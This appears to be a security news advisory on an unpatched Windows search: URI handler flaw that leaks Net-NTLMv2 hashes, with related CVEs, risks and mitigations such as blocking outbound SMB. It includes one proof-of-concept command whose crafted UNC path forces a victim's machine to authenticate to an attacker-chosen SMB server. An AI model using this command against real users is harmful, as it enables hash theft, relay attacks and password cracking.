Windows Search URI flaw exposes NTLMv2 hashes, no Microsoft patch

Researchers from Huntress have published details of an unpatched vulnerability in the search: protocol handler in Windows that allows an attacker to obtain a victim’s NTLMv2 hash. The issue is similar to the previously fixed CVE-2026-33829 in Windows Snipping Tool, but Microsoft has declined to release a fix, stating that the vulnerability does not meet the Important or Critical severity threshold. Organizations using NTLM authentication are advised to immediately apply compensating controls — block outbound SMB traffic and enforce SMB signing.

Attack mechanism: from URI handler to hash leak

The root of the problem lies in how Windows processes the search: URI scheme. According to Huntress researcher Andrew Schwartz, the crumb=location: parameter accepts an arbitrary UNC path without proper validation. When a user follows a specially crafted link, the operating system initiates an SMB connection to a server specified by the attacker and, during authentication, sends the victim’s Net-NTLMv2 hash.

Example command demonstrating exploitation:

start "" "search:query=test&crumb=location:\\10.0.1.100\share"

The attack vector requires user interaction: the victim must follow a specially crafted link embedded in a web page or email and confirm the launch of the URI handler. After that, the system automatically connects to the attacker’s SMB resource, exposing the hash.

Relation to previously patched vulnerabilities

The described issue is a logical continuation of an entire class of vulnerabilities related to NTLM hash leakage via Windows URI handlers:

• CVE-2026-33829 — a similar vulnerability in the ms-screensketch: handler (Windows Snipping Tool), where the filePath parameter was not validated and accepted arbitrary UNC paths. Microsoft fixed this issue in April 2026, classifying it as a spoofing vulnerability.
• CVE-2023-35636 — the use of the crumb parameter to steal NTLM hashes was documented back in February 2024 by Varonis researchers in the context of an Outlook vulnerability.

According to Huntress, the new issue uses the same NTLM leakage mechanism, leads to the same result (disclosure of a Net-NTLMv2 hash), has the same prerequisites for exploitation and, presumably, corresponds to a Moderate rating. The fundamental difference is that Microsoft has decided not to release a patch.

Risk assessment

A captured NTLMv2 hash opens up two main attack paths for an adversary:

• Relay attacks — redirecting the intercepted hash to internal services to authenticate as the victim without having to crack it.
• Offline password cracking — if weak passwords are used, a Net-NTLMv2 hash can be cracked using tools such as hashcat.

The highest risk is to corporate environments where NTLM is still used for authentication and outbound SMB traffic is not blocked at the perimeter. It is worth emphasizing that at the time of publication there are no confirmed cases of this vulnerability being exploited in real-world attacks, and it is not included in the CISA KEV catalog. Nevertheless, the existence of a public PoC and the absence of a patch create a window of opportunity for attackers.

Protection recommendations

Since there is no official fix from Microsoft and, judging by the vendor’s position, none is planned, compensating controls must be implemented at the infrastructure level:

1. Block outbound SMB traffic (TCP/445 and TCP/139) on hosts that do not require access to external file resources. This is the most effective measure to prevent the hash from leaking outside the network.
2. Enforce SMB Signing — even if a hash is intercepted inside the network, it cannot be used for relay attacks against services where signing is mandatory.
3. Disable NTLM authentication wherever possible by migrating to Kerberos. The Group Policy setting Network security: Restrict NTLM allows you to gradually limit the use of NTLM in the domain.
4. Monitor anomalous SMB connections — configure alerts for outbound SMB connections to atypical external IP addresses, which may indicate an exploitation attempt.

Microsoft’s refusal to release a patch for a vulnerability with a Moderate rating is not unprecedented, but it shifts the responsibility for protection onto administrators. The top-priority action should be blocking outbound SMB at the network perimeter — this measure mitigates not only this specific vulnerability but also a wide range of attacks related to forced NTLM authentication via UNC paths. Organizations that still depend on NTLM should view this as an additional argument in favor of migrating to Kerberos.